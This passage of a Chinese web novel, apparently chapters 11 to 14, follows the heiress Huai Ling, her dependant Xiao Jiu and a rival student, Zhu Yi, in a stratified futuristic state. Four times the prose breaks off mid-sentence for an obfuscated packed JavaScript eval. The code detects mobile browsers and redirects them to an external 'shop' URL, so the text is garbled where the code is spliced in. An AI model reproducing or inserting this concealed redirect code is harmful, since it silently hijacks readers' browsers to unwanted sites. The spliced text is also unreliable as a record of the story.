槐翎静静等着宏叔打完电话,片刻的小憩让她的头疼缓解了不少,心里的烦躁也随之减少,想到能回家好好洗漱一番,槐翎心里轻松了不少。 宏叔转过身来发现槐翎已经醒来,他连忙收起雨伞进入车辆,面露歉意向槐翎道歉。 槐翎并未在意,车辆再次行驶,最后在滂沱大雨中驶向了A区最高的公寓,消失在琳琅灯光中。 宏叔送完槐翎回去就离开了,槐翎的手刚一触碰到大门的把手,就感觉到自己的公寓和过去不太一样,虽然从大门看来没什么变化,但槐翎还是敏锐地感知到有什么改变了。 她轻轻推开门,和过去昏暗的公寓不一样,如今的公寓亮着柔和的光,公寓也不再是一片寂静落针可闻,时不时有声音从厨房里传出人的脚步声,食物在翻腾的声音,滋滋的声音美妙得就像是一场交响乐,随之而来的是食物的香味,普通又简单,与这个造价不菲的公寓格格不入。 槐翎在门口站了好一会,直到安保系统发出滴滴的提醒,她才惊觉自己没走错门——她也不可能走错,这一整层都属于她。 槐翎轻手轻脚地换下外套和鞋子,她好整以暇地来到客厅,隔着玻璃门看着创造了这一切的“罪魁祸首”——在关起来的厨房里小久正背过身子炒菜,食物在被油加热后产生的烟雾蒸腾在厨房内,旁边的柜面上放了好几个碟子,上面有不同的菜,有肉、蔬菜、甚至还有冷菜。 也不知道何时起,她脸上泛起了笑容,就这么静静靠着沙发靠背等小久炒完最后一道菜,在闻到刚出锅的香味时,槐翎的肚子不争气地叫了起来。 话说回来她也有很久没有正儿八经地吃一顿饭了,在思考以后的日子要怎么进行之前,还是得好好满足食欲才行。 小久这才转过身来,在看到槐翎之后他也不意外,他连忙脱下身上的围裙,把所有的饭菜都端出来,每个碗碟都是烫的,槐翎粗略一看有五道菜,对于两个人来说有点太多了。 “宏叔不在吗?”小久四处张望着,比起几天前那闷闷不乐的模样,现在的他要更自在些。 他说话的方式很是随意,不过槐翎并没有因此感到生气,她大大咧咧地坐了下来,等待小久把饭菜都准备好,因为肚子饿,她能感觉到唾沫在嘴巴里疯狂分泌。 “怎么,这几天你们关系这么好了?”槐翎扯了扯嘴角,小久的脸微微一红,“也没有那么要好。” “怎么突然想到要做饭?要吃饭的话找人做就好了吧。”槐翎看着摆得满满的桌面,心想如今这副画面真是十足的诡异。 小久把餐具递给槐翎,槐翎自然地接过餐具,而后夹了一些迫不及待放入口中,小久的手艺竟是出乎意料的好,和外面的店不一样,他的调味不算特别出色,却让人心里有一种温暖的感觉。 “自己做饭还是会方便些。”看到槐翎的表情变化,小久原本悬着的心终于能放下来,他洗了把手便要离开饭厅。 “你去哪?”槐翎把饭吞下去,有些不明白小久还要去做什么。 “我还有些打扫要做。”小久老老实实地回答道。 “过来坐下。”槐翎放下餐具,她的语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161046|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气比起刚才要冷了几分,小久不敢不从,战战兢兢地坐在餐桌的另一边,和槐翎隔了有一段距离。 “坐那么远做什么?我会吃人吗?”槐翎不悦地皱起眉头,小久几乎是连滚带爬地离开原来的位置,他小心翼翼地选了个槐翎对面的位置,看槐翎没有说话才敢坐下来。 槐翎把多出来的餐具塞小久手里,“吃吧。” 她话不多,意思很明确,小久这才知道槐翎的意思,他不好意思地红了耳朵,槐翎的好意他是万万不能拂了的。 在温暖的灯光下,原本家常的饭菜也变得温和可口起来,落地窗外的暴雨夹杂着闪电,未能影响公寓里半分。 槐翎没有说话,却速度很快地吃了一半的饭菜,小久暗暗弯了弯嘴角,他的吃相很得体,吃起东西的时候没发出丁点声音。 “你不像是生于E区的人。”槐翎放下餐具,这句话她是没什么别的意思,却让对面的小久原本放松的表情僵硬起来。 “表情,变得有些奇怪了。”槐翎又补了一句,小久只好正襟危坐,把餐具轻轻放下。 “我没有隐瞒你的意思,我的确不是生于E区。”小久脸色苍白,他轻轻咬着唇,因为紧张,右手的手指轻轻颤动着。 “那又如何,你太紧张了。”槐翎轻声笑了,“越是不想让人知道的事,被人戳穿的时候越要保持冷静。” 他这个反应只出现了一瞬,槐翎并未放在心上。 毕竟一个E区人对她也做不了什么事。 见小久依旧是那副紧绷的模样,槐翎用指甲敲了敲桌面,清脆的声音打断了这诡异的气氛。 “给我泡杯红茶。”说完,槐翎便起身离开了这片区域,小久这才松了口气。 看着他那副模样,槐翎都开始怀疑自己是不是长得太凶了,怎么说两句就怕得跟小孩似的。 小久在厨房里倒腾了一会才把红茶端出来,此时的槐翎正在落地窗前欣赏暴雨,公寓本就很高,如今看来竟有几分将要接触到天空顶端的错觉。 小久只好静静站在槐翎身旁,他手里端着茶杯,幸好不是很烫,红茶的香味充斥着他的鼻腔,这样特别又稀有的茶叶恐怕价值千金。 “过来看。”槐翎招了招手,小久这才壮着胆子走过去,他来到槐翎身边,虽然落地窗的每一个他都有好好检查过了,但在走过去的时候还是能隐约感觉到一股风从不知道哪个角落钻进来。 “这是站在这个位置才能看到的景色,在看到这样的景色之后,地面的景色都显得乏味了起来。”槐翎接过茶杯,轻轻抿了一口。 “不同的景色也有不同的趣味。”小久接过话。 “当然,但只有一种乐趣是站在高处才能体会到的。”槐翎说道,“家教的事情宏叔应该和你提过了,我希望你可以好好学习,毕竟你在这里没有什么压力,像今天这样准备食物也不必勉强,之前我有跟宏叔交代过找几个人来帮忙,你要是……” “我没关系的,让我做吧。”小久打断了槐翎的话语,在意识到自己做了大逆不道的事情后,他又连忙道歉:“抱歉。” 槐翎沉默了片刻,她把茶杯放回去,又抬头看了好一会暴雨,这场暴雨好像永不停歇,颇有几分符合她现在的心境。 “你要是喜欢那就做吧。”槐翎想起来在游轮上的各种事情,没有一样能让她感到舒心,回来之后倒是轻松了不少,既然自己并不排斥,何必要把这些都摧毁掉? 在得到了槐翎的允许后,小久终于松了口气。 “不过,”槐翎顿了一下,“我的冰箱可不能有剩菜。” 小久这次明白了槐翎话里的另一层意思,他连忙点头,又慌慌张张地想去确认冰箱的情况。 看到他那有点蠢的模样,槐翎没忍住笑了起来,这几天她可累极了,回来逗了一下小久,又吃了久违的饱饭,实在是超出负荷了。 等到槐翎进入房间后,小久才长久地叹了口气。 等他回头打算把饭菜都吃完时,才发现槐翎都整整齐齐把所有饭菜留了一半下来。 此时,暴雨终于停下,阳光从乌云中寻找到了一丝缝隙得以倾泻在大地之上。 12. 第 12 章 槐翎还是按照惯例去上学了,等她踏入学院那一刻,来自他人的异样目光比起过去要多了数倍,而幸运的是,那些议论她的杂音也得以停止,学院变得前所未有的安静。 槐翎十分享受如今的平静,昨天半夜她就收到了来自宏叔的信息,那三个人在医院“安详”地离开了人生,家属没有丝毫挣扎便安排了火葬,他们的高清照片也随之附上。 槐翎品味了好一会其中一人的脸,那充满绝望又不得不接受现实的表情,实在是美妙得让人身心舒畅。 而今天她周围的位置也一如既往的空荡荡,看着台下的教师用战战兢兢的眼光扫过槐翎脸时,槐翎给他回了一个甜美的微笑。 “你们听说了?要有人从B区升上来了。” “真的?上次有人升上来还是好几年前的事了。” “千真万确,皇帝陛下好像还很器重那一家,好像说是成功研发了什么东西来着。” 午休时刻,周围的人正围在一起窃窃私语,槐翎也趁机听到了些片段,她倒是第一次听到这样的情报,往年能升上来的都是有杰出贡献的重要人物,如今留在A区的都是扶持当今皇帝的老臣子,就算有什么人被革职也很快会有家族的其他人顶上,所以根本不用担心人口的问题。 槐翎走到无人的天台,熟练地点起了烟,而后用手机搜索起最近的热点新闻,在新闻媒体被严格管控的如今,几乎是娱乐新闻占据了大部分板块,又因为娱乐明星都集中在BC区,所以90%的新闻都出自BC区,偶尔会有D区的民间新闻被收录进每日新闻当中。 既然是从B区升上来,那应该很容易就能找到相关的报道。 《瞩目·祝渊博士成功突破技术瓶颈》 《皇帝陛下接见祝渊博士一家,谈话友好且和谐》 《管理局已通过祝渊博士的移居申请》 只是随便一翻就是这么多的报导,看来这个祝渊的确是个了不起的人物,槐翎又翻看了详情,这个名为祝渊的博士是一名中年女性,在能源研究上获得重大突破,很有可能会改变如今的技术研究方向,因此皇帝十分乐意提拔她。 至于更多的细节就没有被报导了,之后她应该会被严密保护起来吧。 槐翎把烟头熄灭,长长地吐出白色的烟雾,像这样的龙潭虎穴,竟然还会有新人进来。 下午的课和平时没什么不同,结束课程后槐翎找借口回绝了槐雾的玩乐邀请,毕竟她已经找到了比泡酒吧等等还要有意思的消遣。 * 槐翎比往常要早些回到公寓,和过去不一样的是,现在的公寓多了些说话的声音,看来预定的家庭教师也来了,槐翎不急着去打招呼,换下外套和鞋子后,又仔细地洗干净了手部才走向小久的房间。 她也没打算要敲门什么的,手轻轻一推就闯进了小久的房间,此时小久和他的家庭教师正背对着房门,两个人坐在一起,教师用着沉着又温柔的声线正在为小久讲解题目。 而小久也露出了槐翎从未见过的轻松笑容,他完全沉浸在了学习当中,过去总是皱着的眉头都舒展开来,表现出了一个少年应有的朝气,在听教师讲题的时候,整个人神态都是极其入迷的。 槐翎看着他的表情,一丝不快从心头涌上,槐翎不是什么情绪化的人,但是这样明显的不同,还是让她结结实实地感受到了名为不满的情绪。 于是她非常坏心眼地破坏了现在这副美好的景象,槐翎抱着手臂,拔高了音调,用着奇怪的腔调阴阳怪气地打断了他们的对话。 “看来这位就是我请来的家庭教师了?”槐翎的语气一点也不友善。 家庭教师和小久闻声回头,在看到家庭教师的正脸后,槐翎原本的不满很快被震惊所替代,她是见过这个人的,而且不止一次。 在游轮上,这个女性曾两次出现过,虽然她们之间没有说过话,但槐翎对这个人印象颇深。 她之所以能出现在游轮上,必定是A区的人,然而A区的人会来做家庭教师?在这个自尊和面子比什么都要重要的区域里,A区人是定然不会答应的。 “您好,抱歉没有事先跟您这边打招呼,我是祝译。”她礼貌地站了起来,主动地朝槐翎伸出手。 槐翎只是微笑,却没有回应她的问好。 “你姓祝?前不久才从B区升上来的祝家?”槐翎坐在沙发上,她双腿交叠,留下祝译站在原地。 祝译似乎对这件事并不在意,她脸色未变,自然地把伸出的手收了回去,而后不卑不亢地回答了槐翎的问题:“是的,不久前我才随着母亲搬过来。” “在A区的生活还习惯吗?和B区有很大的不同吧?”槐翎话里带刺,她的笑容充满了恶意,刺得旁边坐着的小久如坐针毡。 “我们适应力都挺强的,谢谢你的关心。”祝译同样用微笑予以回击。 “那就好,在游轮上我们似乎还有一面之缘?我还觉得奇怪,毕竟你和其他人不太一样,我还在想游轮的员工什么时候也有那么高的素养呢。” “是的,我参加过游轮的宴会,不过槐翎小姐倒是闹出了不小的动静,我还是第一次看到宴会上发生这种事情,同样对你留下了深刻的印象。”祝译的双目清明,没有因为槐翎的讽刺有半分动摇,她那双锐利的眼睛倒真如槐翎想象的那般,能把人的肠子都勾出来。 “叫我槐翎就好了,这样多见外。”槐翎顿了一下,把目光转向小久,“去倒两杯茶来。” 小久战战兢兢地点头,而后迅速逃离了“战场”。 祝译注视着小久的背影消失在公寓深处,嘴边的微笑渐渐消散。 “倒还不知道A区的人们还有这种爱好,实在是让我大开眼界,你说是不是,槐翎小姐?” “你是指什么爱好?我爱好多了去了,杀人放火无恶不作。”槐翎吹了吹指甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161047|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸上满是对祝译的不屑。 光是和她面对面相处这几分钟,槐翎就意识到自己和她生性合不来,两个人的磁场是绝对互斥的,别说做朋友了,只怕会成为仇人。 “我只是有点吃惊罢了,对于他人的爱好我还没有到多管闲事的地步,不过槐翎小姐,你是否有考虑过他人的感受?不仅仅是他,还有那几个逝去的人。” 槐翎脸色一变,抄起手边的书本就往祝译的脸上砸去,一声巨响砸开了房间里弥漫着的紧张气氛,不过书脊没有打中祝译的脸,而是被她轻轻伸手接住。 她的手指纤细修长,却牢牢地抓住了书脊,书页在她脸上划过,那张充满生气的脸蛋有着别样的生命力。 “我不会雇佣你,你可以走了。” “你找不到比我更好的家庭教师。” 祝译面带微笑,全然没被槐翎的行为吓到。 “我的事情就轮不到你担心了,少管点闲事如何?”槐翎站起来,伸手指着门口,不用明说就能轻易理解她的意思。 正在此时,端着茶杯回来的小久听到了这段对话,原本透出的欣喜也在这瞬间被槐翎的那一句话彻底消灭。 槐翎不是没注意到小久这样的变化,她狠狠瞪了一眼小久,小久不敢抬头看去,而是静静地退到一边去。 “今天的谈话很愉快,我们总会再见的。”祝译一边说着,一边深深地看向小久,眼中似带有怜悯,又带有惋惜。 她蹲下来收拾被槐翎扫落的书本,书本都是崭新的,里面夹着写满笔记的纸张,小久见状立马蹲下去帮祝译把东西收拾好,槐翎并未言语,只是站在那里看着他们两个的一举一动。 这样看起来,她倒是像一个坏人了。 槐翎目光冰冷,看着小久替祝译整理好书本,又念念不舍地目送祝译离开——就好像祝译才是那个救了他性命的人。 真令人火大。她看了眼在旁边满脸失落的小久,他这副表情,分明是很想追上去吧? 槐翎想起来在她进来时,这两个人那副和谐的画面,刺得她怒火中烧。 “你很喜欢她?”槐翎居高临下地站在小久跟前,她现在整个人看上去都十分吓人,小久明白她这是生气了,只好绞尽脑汁说出点什么好话来让槐翎消消气。 “没有,她只是上课上得好而已。”小久如实告知。 “我会给你找别的家庭教师的。”槐翎弯下腰来,她用手指勾住小久的头发,迫使他靠近自己。 “今天我说的话你都记住了吗?” “记住了。”小久眼尾泛着红,琥珀色的眼睛里充满了挣扎与不甘,他本来就没有什么选择的机会,在小久选择跟着槐翎离开的那一刻起,他的人生已不再受他本人摆布了,他分明是知道这一点的。 槐翎在得到了回答后才松开手指,她满意地把摸了一把小久的头,长长的指甲划过小久的脸颊,就像是一把利刃。 13. 第 13 章 祝译的到来像是扔进湖面的的石头,威力不大,却掀起了波澜。 槐翎敏锐地感觉到了小久对自己的疏远,虽然他们一开始也没有多亲近,小久也会和往常一样为槐翎准备食物,只是他们之间对话止步于日常问候,乏味得像是AI。 槐翎甚至觉得,与其在家里放这么一个无趣的人,倒不如换成一个最新的机器人,好歹设定的程序会让它不至于这么无聊。 宏叔确实找来了另一个家庭教师,这次来的是一名退休的B区教师,和学院里的教师没什么不同,年老、古板、循规蹈矩,从来不敢直视槐翎,脊背软得像是没有支撑。 “怎么了,看您最近似乎心情不是很好。”宏叔从后视镜观察起槐翎的表情。 槐翎撇了撇嘴,没有正面回答宏叔的问题。 “最近是到雨季了?每天都在下雨。” “是的,毕竟夏天来了,天气会变得更加闷热。” 也难怪会觉得浑身不舒畅,槐翎静静想着。 “这周末会放晴,要不要出去走走?夏天来了自然也吸引了不少游客。” “游客?哪里来的游客,这个国家树立的敌人已经够多了,我不认为有什么游客会对这里感兴趣。” “有的时候沟通是很重要的。”宏叔微微一笑,他这句话说得没头没尾的,槐翎并未放在心上。 话音刚落,雨又下得大了些。 槐翎撑着伞缓步走入学院的庭院之中,夏天的花朵开得正盛,她一个人静静地看了一会盛开的花朵,鼻腔里都是泥土的气味,一阵风吹来,些许雨滴吹到了她的脸上,顺着她的脸颊流了下来。 “你喜欢雨天吗?”突兀的话语打破了这难得的宁静,槐翎皱了皱眉回过头去看搭话的人。 只见祝译笑眯眯地站在廊下,她的雨伞刚刚收起,雨水顺着伞柄流下,在尖端处留了一滩水渍。 她穿了一件简单的套装,没有特别的设计,剪裁却是得当,勾勒出纤细的腰身,她依旧带着之前见过的公文包,看样子沉甸甸的。 “我们的关系没有友好到可以进行这种对话的程度吧?”槐翎并未有进一步行动,她不是喜欢吵架的人,只是每每看到祝译都会觉得心里不畅快。 可以的话,她只想赶紧打发眼前的祝译走。 “你似乎对我有些误解,毕竟我和你并不是什么竞争关系,也没有利益冲突,说起来这次应是第四次见面了,你还是一如既往的——”祝译顿了一下,或许有很多词语在她脑海里闪现,最后只余下耐人寻味的“英姿飒爽”四个字。 “我就姑且当作你在奉承我了。”槐翎扯了扯嘴角。 祝译没有接下,而是转移了话题,她抬头望向那厚重的乌云,即便是早上也没有多少阳光穿过云层,时不时还有雷电划过,她深吸了一口气,像是下定了什么决心。 “这个学院,和其他地方的学院不太一样。” “这里可是A区,你以为你还在B区吗?”槐翎露出讽刺的笑容,“所以,你是来就职,还是来参观?” 祝译摇了摇头,她举起手里的公文包,“是来入学哦。” * 一天的课程结束了,祝译竟是出乎意料地受欢迎,不少学生都趁课间主动找她说话,虽然问的都是些无聊的问题,祝译还是一一详细又稳重地回答了,再加上现在她的母亲是皇帝跟前的红人,原本针对她的猜疑也随之烟消云散。 槐翎静静看着他们那虚伪的谈话,正准备收拾好东西便马上离开,只见祝译用着不大的声音呼唤了槐翎的名字。 沐浴在全班目光之中的槐翎只得再次回头,等待祝译说出剩下的话语。 “没过多久就是中期考试了,听说你这几年一直都是年纪第一名,我很好奇,你这个记录会不会被打破呢?” 她的语气和平时一模一样,但槐翎敏锐地听出了几分自信,既然她能在全班面前提这个,看来是想要宣布点什么了。 “区区记录,想打破的人多了去了,请你不要拿无聊的事情浪费我的时间。”槐翎冷淡地说道。 “如果我想和你打个赌呢?”祝译把玩着手里的笔,她的笑容变得狡黠又精明,槐翎倒是觉得这副嘴脸更是适合祝译。 “无聊,你对我而言不值一提。”槐翎转身便离开了,只余下祝译和她身旁的学生,等槐翎走远后,又有笑声从那处传来,听着只让槐翎感到刺耳。 槐翎回去后明显心情不是很好,祝译就像一只阴魂不散的鬼,无论去到哪都能遇到,要说是缘分就罢了,问题是她似乎是有备而来的,槐翎越想越觉得心烦意乱。 因是周五,宏叔要向槐翎汇报工作,二人在书房里针对一个月来的账目进行核对,小久满打满算来了也有一个月了,在他身上花的钱不算小数,看着计算机后叠加的零,宏叔心里对小久的地位越是感觉到不安。 “营养费这个是有落实吗?我看他体重好像没有变化。”槐翎埋头在账单里,头也没抬。 “根据医生和营养师的报告,目前是有在稳步增长,只是之前身体过于虚弱,还需要点时间。” “找个教练来吧,要配合运动增肌。”槐翎一目十行过了一遍账单,最后停在了最后一项上,“这是什么费用?” “这正是我要和你进行确认的,医院那边还有一笔账单需要支付,不过医院并未开通A区账户,这笔费用汇不过去,明天我可以借你的卡去一趟医院吗?” “不用了,我自己解决。”槐翎放下笔,她揉了揉眉心,“明天是周末,你好好陪家人就是。” “不碍事,我家就在那附近,过去很方便。” “我说是什么就是什么,不要争了。” “好的。”宏叔不再执着于此。 “还有,驾驶课程需要尽快落实。”槐翎又看了一眼在厨房张罗着晚饭的小久,他穿着围裙嘴角微微翘起,似乎很是沉迷于做饭这件事。 “食材费用再加一点,他喜欢做就让他做吧,我也不用费心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161048|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食物这件事了。” 宏叔连忙应下。 汇报结束后,槐翎留了宏叔吃晚饭,宏叔对小久的手艺赞不绝口,又分享了一下自己家传的食谱,小久把食谱记下来后说下次一定会试试看。 宏叔在的时候,小久反而是放松了不少,至少没有那么拘谨,还会在宏叔的指引下给槐翎夹了一些菜,槐翎只微微一愣,还是沉默地接受了小久的好意。 毕竟这两人都当着槐翎的面打了不知道多少次眼色了,看在宏叔的面上,槐翎也只好睁一只眼闭一只眼。 在过去小久是万万不敢做这种事的,槐翎是表里如一的不好相处,如今也不过是仗着宏叔与槐翎之间的交情才胆子大了些。 吃完饭后,宏叔和小久又互相抢了半天洗碗的活,槐翎看不下去翻了个白眼,家里明明有洗碗机,佣人也会在固定时间上门打扫,为什么要抢着做这种活? 不过他们爱抢就抢去吧,槐翎坐在沙发上舒舒服服地看起了电视,那俩人最后是决定一起洗碗了,他们的效率也很高,不用十分钟就收拾好了厨房和饭厅,宏叔也不多做停留,和槐翎打了声招呼就要回家。 槐翎微笑点头,宏叔是看着槐翎长大,二人之间的情谊早就超过了单纯的主仆情谊。 电视上的新闻正播放着关于祝渊的内容,槐翎这才注意到祝渊的长相,祝译简直就是年轻版的祝渊,而祝渊的说话方式也完完全全遗传到祝译的身上,感觉祝译的父亲在这场生育只起到了点缀作用。 重要新闻播报完后就是BC区的娱乐新闻了,槐翎不怎么感兴趣,放着电视在那里播放,自己则是拿过平板电脑开始处理医院账单的事情。 小久忙完之后坐在沙发的另一头,他静静地看着电视,面上看着没什么情绪,手指却不由自主地收紧了。 在网站数次弹出支付失败的窗口后,槐翎的耐心也终究被耗尽了。 A区的账户理论上是全区通用的,拥有最高的消费权限,有些地方甚至会免费提供服务,所以不太可能会被拒绝付款。 槐翎沉思了片刻,突然意识到当初住院登记的不是自己的名字,她自然是没办法用自己的账户去付款,各区对于医院都有非常严格的规定,必须要对得上本区居民的信息,而且当初小久住院是动用了特别的关系才得以破格处理的。 要解决问题最快的办法就是去医院处理,槐翎深吸了口气,既然如此那就去一趟B区吧,至少比要去E区好上几倍不止。 电视里的新闻播报结束了,很快转成了天气预报,真的和宏叔所说的一致,明天全区的天气皆是晴朗,是个出游的好日子。 槐翎唤了声小久,小久也从出神中恢复了正常,他眨了眨眼睛看向槐翎,这一个月的休养生息让他看上去没那么瘦骨嶙峋,倒是比一开始顺眼多了。 “明天早上我们去一趟B区。”槐翎收起平板电脑,“看到你恢复好了,他也会高兴吧。” 小久怔怔地看向槐翎,这个“他”指的是? 14. 第 14 章 若是要从A区去往CDE区的话,搭乘区域列车是最好的选择,不过要是去B区的话,由于B区把A区包围在内,面积也是A区的数倍之大,自行开车去反而是最好的办法。 槐翎在车库里选择了一辆造型相对低调的红色车辆,见槐翎进了驾驶位,小久自然是没有别的选择,他乖巧地坐在副驾驶位,目不斜视看向前方。 在通过了人脸识别后车辆才启动,槐翎设定了目的地和道路喜好,车辆便自行动了起来,周末的A区没有什么车,宽敞又干净的街道只有零星的车辆快速驶过,车辆的速度被提得很高,小久不安地四处张望着,话说回来,这还是时隔一个月后他第一次出门的日子。 阳光暖暖地照进车内,槐翎把电台调整至自己喜欢的歌曲,舒舒服服地调整了坐姿。 “我已经叫宏叔给你报了驾驶课程了,估计过几天你就能去上课。” 小久有些不解,毕竟现在的车辆都有自动驾驶,而且安全性很高,比起人类驾驶要可靠不知道多少,为什么槐翎还要安排驾驶课程? 小久犹豫了片刻,实在是没办法把自己的疑问吞下去,于是便大着胆子反问了回去。 “程序和人是不一样的。”槐翎扭头看向小久,今天是周末,天气很好,音乐也很好,她的表情也比平时柔和不少。 “你所驾驶的泰坦,不也有人工芯片使得它们能够自行活动吗?但是军队还是会培养驾驶员,并且把他们视为军队中的精英,人有的时候是会迸发出程序所无法计算的力量的。” 槐翎说得头头是道,小久似懂非懂地点头。 “我乱讲的,你别信。”见小久一脸认真,槐翎没忍住噗嗤一声笑了出来,“不过是宏叔年纪大了,我想找个人接替他,我有好几辆车没有搭载自动驾驶系统,要是宏叔退休的话,我那几辆车怕不是要积灰了。” 小久的耳朵在槐翎的笑声不受控制地红了又红,他尴尬地别过脸去,心脏的躁动却出卖了此刻的心情。 槐翎很少有这样放松的时刻,原来她也会和普通人一样开怀大笑,她的笑容就像是夏日的太阳,驱散了所有的阴霾。 “在这里的生活还习惯吗?”槐翎随意挑了个话题,电台的音乐换成了一首舒缓的钢琴曲,大提琴的低音如溪水流淌在钢琴声之间,就像是一个娓娓道来的故事,他们之间原本紧绷的线也在氛围中放松下来,那钢琴曲就像是一道温柔的魔法,不知不觉中解除了二人的隔阂。 “嗯,已经习惯了,现在的日常安排基本都是上课。” 槐翎怎么可能不知道小久的每日行程,但从小久嘴里主动说出来的感觉还是不一样的,她微笑着点点头,然后主动提起了家庭教师的事情。 因为祝译,他们之间似乎有着微妙的误会。 “之前和祝译的事情,是我和她之间的……”槐翎顿了一下,仔细斟酌了用词,“总而言之,我并不是对你有什么不满。既然是我说到的事情,那么我就不会食言。” “谢谢你,我都理解的,现在的教师也很好。”小久低下头去,电视里那张和祝译有七成相似的脸,确实让他不受控制地想起那天的冲突。 她们二人之间的争吵,没有流血,没有受伤,却让人感觉到尖锐。 “既然如此,要不要考虑来特雷斯学院?”槐翎平静地说出了一件绝对不简单的事情来。 “特雷斯学院,是A区的学院是吗?”小久怔怔地看向槐翎。 “没错,我也在特雷斯学院上课,之后我们的日程可以保持一致。” “但是,以我如今的身份,怎么适合呢?”他皱起了眉头,竟是在为槐翎考虑起多余的事情来。 他的多虑并不是没有道理,槐翎作为里面的学生更是清楚个中的种种,在势利且阶级分明的学院里,饶是槐翎这种靠近权力中心的人都会在背后饱受争议,要换作是小久的话,恐怕不稍稍加以保护的话,他定会被那群恶鬼分食了吧。 但是槐翎没有忘记那一天夜晚在小巷里,小久眼里的坚定就像是深渊里的一盏明灯,有着那样眼神的他,会不会也在A区的浸淫下失去了原本的颜色呢? 槐翎有些坏心眼地想着,不过变与不变,槐翎都有自信控制他。 “我的身份还是有点用的,不用担心。”槐翎轻描淡写地带过了这个话题,小久的眉头已久紧缩,他忧心忡忡,为了不破坏现在来之不易的缓和气氛,他侧过头看向窗外。 A区是高度先进的区域,被B区所包围,它就像是这个国家的心脏,无数的道路从A区延申至四周,最后隐没、分流、汇合在不同的道路之中。人工智能早就走进了家庭里,在那些高楼里居住着拥有权力的人群,俯瞰着外面的区域,不仅仅是政|治上的阶级,连地理意义上的阶级他们都要站在最高处。 车辆驶向A区的边缘,到达关卡后,车辆才减速停了下来,几名工作人员走向车辆,他们手持着两个仪器,从他们的制服和肩章来看,他们应该是派驻于此的卫兵。 仪器对着车辆和乘客都扫描了一遍,在得知了槐翎的身份后,他们的神色变得愈发恭敬起来,然而等仪器对着小久几分钟后,仪器似乎没能检测出来他的身份,正发出令人感觉不祥的警报。 小久听着那急促的警报,不免跟着变得紧张起来。 槐翎伸出手指推开了顶在小久脸上的仪器,她敛起了笑容,语气是与平日截然不同的冷漠,“你检查的权力是由我们赋予的,认清楚哪个才是你的主子。” “可、可是,为了大人的安全,我们必须要检查清楚每一个出入此处的人员身份,这也是我们的职责所在。”另一个卫兵看样子职位要高一些,他收起仪器,却没有放行的意思。 “如你所见我姓槐,你查去吧,最好查到皇帝头上去,问问他侄女家里藏了什么人。”槐翎的语气不容置喙,她把小久护在自己怀里,卫兵饶是再想说点什么也没办法说出口了。 槐翎自知理亏,并没有做出格的行为刁难他们,卫兵回去和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161049|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他人商量了片刻后,还是决定放行了。 “这算什么啊,是从哪里捡回来了个宠物?”“X的,现在这些公主王子真是什么事都做得出来……”几个卫兵窃窃私语道。 “快闭嘴,命是不想要了吗!” 这几句话说的声音不大,然而小久还是清楚听见了他们的议论,他深深地低下了头,如今的他处于阶级森严的最深处,无处不在昭示槐翎的身份之特殊。 “不用在意,没注意到你的户籍是我的疏忽。”槐翎有些疲惫地按摩了下额角,小久慌慌张张地摇头,他也想说些什么,但话语到了喉头之后什么都没能说出来。 车辆平稳地驶向B区,从建筑风格来看,和A区的肃穆不同,B区更显繁华,立体广告投影穿梭在大楼之间,身穿出自著名设计师之手时装的模特在大楼上展示衣服的精妙之处,喧闹的流行音乐此起彼伏,相距A区不过数千米,就展示出了一个截然不同的世界。 槐翎把车辆改为手动驾驶,她熟练地离开了高架道路,转进了一条小路,庞大的广告牌几乎遮挡了半个天空,小久努力用眼睛去捕捉纷繁的景色,却又应接不暇,他原本苍白的脸庞也因此多了几分血色,槐翎却只觉心里变得越发烦躁。 周末的医院并不繁忙,几个护士在大厅来回行走,他们并未注意到槐翎的到来,而槐翎带着小久熟练地穿过走廊,来到大厅另一处的服务中心。 槐翎和工作人员详细地说明来意,工作人员在听到槐翎来自A区后,原本疲惫的脸上稍微多了几分异色,但良好的职业素养还是让他控制好了表情,他和旁边的经理进行了短暂的沟通,拿了槐翎的账号便进入了后台进行操作。 